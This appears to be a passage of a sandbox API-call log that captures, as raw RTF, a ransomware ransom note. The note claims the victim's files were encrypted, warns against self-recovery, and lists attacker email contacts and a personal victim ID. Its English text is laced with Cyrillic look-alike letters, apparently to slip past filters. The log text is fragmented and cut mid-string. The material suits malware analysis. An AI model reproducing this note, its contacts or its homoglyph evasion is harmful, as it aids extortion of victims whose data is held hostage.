\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 